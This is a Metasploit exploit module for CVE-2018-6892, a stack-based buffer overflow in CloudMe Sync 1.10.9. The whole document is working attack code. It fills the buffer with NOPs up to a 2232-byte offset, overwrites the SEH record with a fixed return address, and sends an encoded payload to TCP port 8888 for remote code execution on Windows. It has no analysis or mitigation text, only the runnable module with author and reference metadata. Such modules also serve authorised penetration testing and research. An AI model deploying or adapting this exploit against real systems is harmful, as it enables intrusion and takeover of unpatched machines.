CloudMe Sync 1.10.9 – Stack-Based Buffer Overflow (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CloudMe Sync v1.10.9', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in CloudMe Sync v1.10.9 client application. This module has been tested successfully on Windows 7 SP1 x86. }, 'License' => MSF_LICENSE, 'Author' => [ 'hyp3rlinx', # Original exploit author 'Daniel Teixeira' # MSF module author ], 'References' => [ [ 'CVE', '2018-6892'], [ 'EDB', '44027' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00", }, 'Targets' => [ [ 'CloudMe Sync v1.10.9', { 'Offset' => 2232, 'Ret' => 0x61e7b7f6 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 17 2018', 'DefaultTarget' => 0)) register_options([Opt::RPORT(8888)]) end def exploit connect buffer = make_nops(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded sock.put(buffer) handler end end |